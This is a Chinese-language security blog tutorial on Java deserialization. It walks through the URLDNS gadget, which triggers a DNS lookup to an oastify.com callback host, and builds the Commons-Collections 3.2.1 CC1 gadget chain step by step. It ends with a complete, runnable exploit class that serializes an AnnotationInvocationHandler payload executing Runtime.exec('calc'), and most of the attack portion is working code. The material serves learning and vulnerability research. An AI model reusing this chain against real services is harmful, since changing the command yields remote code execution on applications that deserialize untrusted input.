java反序列化之DNSURL和CommonsCollections
2023-06-14 19:56:03

序列化与反序列化

java序列化是通过ObjectOutputStream类中的writeObject方法

1
2
3
4
5
public void Serialize(Object a) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(a);
objectOutputStream.close();
}

反序列化是通过ObjectInputStream类中的readObject方法

1
2
3
4
5
6
 public Object Unserialize() throws  Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.cer"));
People people = (People) objectInputStream.readObject();
objectInputStream.close();
return people;
}

序列化和反序列化这是两个很正常的功能,但我们稍加利用就可以用它来执行恶意代码

DNSURL

readObject

如果反序列化的类中本身带有readObject方法,那么在反序列化的时候就会调用类中的readObject方法

1
2
3
4
5
//这里必须是private
private void readObject(ObjectInputStream objectInputStream) throws Exception{
objectInputStream.defaultReadObject();
System.out.println("people的readObject被调用了");
}

在这里插入图片描述

HashMap

而对于hashmap这个java内置类是可序列化并带有readObject方法的,同时readObject又调用了hash方法
在这里插入图片描述hash方法里又调用了key的hashCode方法
在这里插入图片描述
这里的hashCode是Object类中的方法
在这里插入图片描述
但URL类中也有一个hashCode方法
在这里插入图片描述
这个hashCode会调用handler类的hashCode方法,而getHostAddress会向输入的url发送dns查询请求
在这里插入图片描述
总的来说就是
HashMap.readObject()->HashMap.hash()->key.hashCode()
URL.hashCode()->handler.hashCode()->getHostAddress()

我们如果让URL类作为HashMap的key,就会调用URL.hashCode(),最终调用getHostAddress()
可以通过dnslog来判断getHostAddress方法是否执行,然而仅仅只是以下的方法是不行的

1
2
3
HashMap<URL,Integer> hashMap=new HashMap<URL,Integer>();
hashMap.put(new URL("http://w85euszvkqr7x2s5cjco79cj0a63us.oastify.com"),1);
Serialize(hashMap);

因为HashMap的put方法已经调用了hash方法
在这里插入图片描述
而且要调用URL的hashcode方法,URL中的私有属性hashCode必须为-1,但在初始化以后该值就变了,所以我们要通过反射的方法,将hashCode重新变为-1

反射

Java中的反射是指在运行时动态地获取类的信息并操作类的属性、方法和构造函数等。通过反射,可以在运行时获取类的信息,包括类名、父类、接口、方法、属性等,并且可以在运行时动态地创建对象、调用方法、访问属性等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//得到Class对象
Class c = people.getClass();//通过getClass获取指定对象的Class
Class c = Class.forName("People");//通过forName获取指定名字的Class
//获取实例化对象
Constructor peopleconstructor = c.getConstructor(int.class,String.class);//确定实例化方法
People p = (People)peopleconstructor.newInstance(12,"jack");//使用newInstance方法实例化
//获取类的属性
Field[] peoplefields = c.getFields();//获取类中所有的公有属性
Field agefield = c.getField("age");//获取类中名为age的属性
Field[] peoplefields = c.getDeclaredFields();//获取类中所有的私有属性
Field namefield = c.getDeclaredField("name");//获取类中名为name的私有属性
namefield.setAccessible(true);//允许修改私有属性
namefield.set(p,"tony");//利用set方法将对象p的name属性的值修改为tony
//调用类里的方法
Method[] poplemethods = c.getMethods();//获取所有的公共方法
Method changnamemethod = c.getMethod("changname");//获取changename方法
changnamemethod.invoke(p,"perter");//调用chanename方法并传入参数“perter”

结果

通过反射我们可以在初始化url类以后再把hashCode的值转回-1

1
2
3
4
5
6
7
8
9
HashMap<URL,Integer> hashMap=new HashMap<URL,Integer>();
URL url=new URL("http://w85euszvkqr7x2s5cjco79cj0a63us.oastify.com");
Class c=url.getClass();//获取url的类
Field hashcodefield = c.getDeclaredField("hashCode");//得到hashCode属性
hashcodefield.setAccessible(true);
hashcodefield.set(url,12345);//防止在put的时候发送请求,将hashCode的值修改为12345
hashMap.put(url,1);
hashcodefield.set(url,-1);//将hashCode的值修改为-1
Serialize(hashMap);

那么在序列化的时候dnslog就不会收到dns请求
而反序列化的时候就会收到dns请求了
在这里插入图片描述

Commonscollections

环境

使用的jdk版本是8u65(需要在8u71以下),同时下载对应的openjdk,并复制sun文件添加进idea

Commonscollections使用的版本是存在漏洞的3.2.1版本

InvokerTransformer

maven包中有一个Transformer接口,定义了一个transform方法,有非常多的实现类

image-20230321214051542

其中主要产生漏洞的是InvokerTransformer类的transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//InvokerTransformer构造方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

//transform方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

transform方法会通过反射来调用input对象的methodName方法,其中传入的参数为args,参数类型为paramTypes,故此以下代码就会调出计算机

1
2
3
//a.b(c)=new InvokerTransformer(b,new Class[]{c对应的类对象},new Object[]{c}).transform(a);
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

我们的目标是找到一个重写了readObject的类,通过一条利用链最终调用这个transform方法

TransformedMap

接下来要找一下谁调用了nvokerTransformer类的transform方法(最好不同名字)

可以看到在TransformedMap的checkSetValue中有被调用

image-20230321221426491

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

那么这里就要让TransformedMap.valueTransformer=invokerTransformer对象

而TransformedMap有个decorate方法

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

利用链:TransformedMap.checkSetValue()->InvokerTransformer.transform()

命令执行代码:

1
2
3
4
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<Object, Object>();
map.put("key","value");
TransformedMap.decorate(map,null,invokerTransformer);

AbstractInputCheckedMapDecorator

然后去找调用了checkSetValue的方法,发现只有一个AbstractInputCheckedMapDecorator的setValue方法

image-20230321222118113

1
2
3
4
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);//从这一行可以推断出是对entry.setValue()方法的重写
}

这里很明显是对entry.setValue()方法的一个重写,所以我们只需要在迭代器遍历Map时执行entry.setValue()即可

利用链:AbstractInputCheckedMapDecorator.MapEntry.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()

命令执行代码:

1
2
3
4
5
6
7
8
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<Object, Object>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);//这里的“value”也就是InvokerTransformer.transform(Object input)中的input,所以是runtime对象
}

image-20230321224034922

接下类同样得去找一个类调用了setValue()方法,并且这个类最好是通过readObject调用的

AnnotationInvocationHandler

最终我们找到了sun.reflect.annotation.AnnotationInvocationHandler类中的readObject方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(//这里调用了setValue()方法!!!
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

反序列化的时候会通过迭代器遍历this.memberValues,所以这里要让this.memberValues=transformedMap

来看看AnnotationInvocationHandler类的构造方法

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

这个构造方法没有修饰符只具有包级别访问权限,所以这里我们只能通过反射来调用来实例化对象,同时第一个参数只允许是注解类型或其子类

1
2
3
4
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Override.class,transformedMap);

存在的问题

目前已经可以将我们构造的map传进去了,但仍然面临几个问题

1.Runtime类没有实现Serializable,无法反序列化

2.要想程序执行到setValue()方法,前面有2个if判断语句得想办法

3.AnnotationInvocationHandler类里的setvalue()参数为

new AnnotationTypeMismatchExceptionProxy(value.getClass() + “[” + value + “]”).setMember(annotationType.members().get(name))

但这并不是我们想传入的参数

一个一个来解决吧

Runtime类反序列化

我们可以通过反射+ChainedTransformer来解决

反射创建Runtime实例并调用exec()

1
2
3
4
5
6
Class  c = Class.forName("java.lang.Runtime");
Method m = c.getMethod("getRuntime");
Runtime r = (Runtime) m.invoke(null,null);
Method execmethod = c.getMethod("exec", String.class);
execmethod.invoke(r,"calc");
Runtime.getRuntime().exec("calc");

将上述代码转换成用InvokerTransformer类的transform方法实现

1
2
3
Method m = (Method)new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(m);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

这里有一个特征,第一行的结果作为第二行的输入,而第二行的结果又作为第三行的输入,且都是transform方法,ChainedTransformer类的transform方法刚好有这个功能

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);//前一对象transform方法的输出作为后一对象transform方法的输入
}
return object;
}

所以又可以将代码转换成

1
2
3
4
5
6
7
Transformer[] Transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
chainedTransformer.transform(Runtime.class);

image-20230322175528965

到这里就可以解决Runtime类反序列化的问题了,并且此时调用的transform方法也从最初的InvokerTransformer.transform(runtime)变成了ChainedTransformer.transform(Runtime.class)

2个if判断语句

首先是第一个if,核心代码:

1
2
3
4
5
6
annotationType = AnnotationType.getInstance(type);//获取指定类型的注解类型
Map<String, Class<?>> memberTypes = annotationType.memberTypes();//返回一个Map类型的对象,存储了该注解类型中的所有成员变量信息,其中,键为成员变量的名称,值为成员变量的类型
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();//获取传入的map遍历时的key,这个key我们可以自己定义
Class<?> memberType = memberTypes.get(name);//通过key获取成员变量的类型
if (memberType != null) {//如果成员变量存在

要进入使条件为真的话,就要找到一个含有成员变量的注释类,这里我们找到了Retention类有个叫value的成员变量

image-20230322183208737

同时要修改我们传入的map的key值为value

1
map.put("value","1");

第二个if判断成员变量的值是否为其所声明类型的实例,而这里肯定不是,所以不需要额外做手脚

setvalue()参数

要解决这个问题其实比较靠运气,因为对于setvalue()的参数我们不太好修改,但这里恰好有一个ConstantTransformer类

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

这个类的transform很离谱,不管输入什么都只是输出类里的iConstant,这就使得输入的参数“无效化”,同时返回的内容是我们想要的内容,于是将执行的代码做如下修改

1
2
3
4
5
6
7
8
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//令iConstant=Runtime.class,使得Runtime.class作为下一条的输入值
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);
chainedTransformer.transform("fdsf");//这里不管传入什么参数都不会影响ConstantTransformer.transform传出的值

image-20230322200354729

到这里三个问题都已经得到了解决

最后

最终的利用链:

AnnotationInvocationHandler.readObject()->AbstractInputCheckedMapDecorator.MapEntry.setValue()->TransformedMap.checkSetValue()->ChainedTransformer.transform()

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import com.sun.org.apache.xml.internal.security.transforms.Transform;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.instrument.TransformerManager;
import javax.swing.*;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Test {
public static void main(String[] args) throws Exception {

//创建chainedTransformer对象来执行任意代码
Transformer[] Transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);

HashMap<Object,Object> map = new HashMap<Object,Object>();
map.put("value","1");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

//AnnotationInvocationHandler实例化
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Retention.class,transformedMap);

//序列化与反序列化
Serialize(obj);
Object objecj = Unserialize("test.ser");

}
public static void Serialize(Object a) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.ser"));
objectOutputStream.writeObject(a);
objectOutputStream.close();
}
public static Object Unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object object = (Object)objectInputStream.readObject();
objectInputStream.close();
return object;
}
}

image-20230322203254905

其实但看整个利用链的话还是比较简单的,难的是有一些地方需要想办法绕过

参考视频:

Java反序列化CommonsCollections篇(一) CC1链手写EXP